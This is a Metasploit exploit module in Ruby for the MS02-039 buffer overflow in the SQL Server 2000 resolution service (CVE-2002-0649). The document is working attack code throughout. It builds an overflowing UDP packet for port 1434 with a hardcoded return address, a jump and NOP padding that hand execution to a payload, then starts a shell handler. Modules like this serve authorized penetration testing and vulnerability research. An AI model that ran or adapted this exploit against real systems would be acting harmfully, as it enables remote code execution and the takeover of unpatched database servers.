##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS02-039 Microsoft SQL Server Resolution Overflow',
        'Description' => %q{
          This is an exploit for the SQL Server 2000 resolution
          service buffer overflow. This overflow is triggered by
          sending a udp packet to port 1434 which starts with 0x04 and
          is followed by long string terminating with a colon and a
          number. This module should work against any vulnerable SQL
          Server 2000 or MSDE install (pre-SP3).
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2002-0649'],
          [ 'OSVDB', '4578'],
          [ 'BID', '5310'],
          [ 'MSB', 'MS02-039'],

        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
          'StackAdjustment' => -3500,
        },
        'Targets' => [
          [
            'MSSQL 2000 / MSDE <= SP2',
            {
              'Platform' => 'win',
              'Ret' => 0x42b48774,
            },
          ],
        ],
        'Platform' => 'win',
        'DisclosureDate' => '2002-07-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1434)
      ]
    )
  end

  def check
    info = mssql_ping
    if (info['ServerName'])
      print_status("SQL Server Information:")
      info.each_pair { |k, v|
        print_status("   #{k + (" " * (15 - k.length))} = #{v}")
      }
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect_udp
    print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
    print_status("Execute 'net start sqlserveragent' once access is obtained");

    # \x68:888 => push dword 0x3838383a
    buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"

    # Return to the stack pointer
    buf[97, 4] = [target.ret].pack('V')

    # Which lands right here
    buf[101, 6] = make_nops(6)

    # Jumps 8 bytes ahead
    buf[107, 2] = "\xeb\x08"

    # Write to thread storage space to avoid a crash
    buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')

    # And finally into the payload
    buf[117, payload.encoded.length] = payload.encoded

    udp_sock.put(buf)

    disconnect_udp
    handler
  end
end
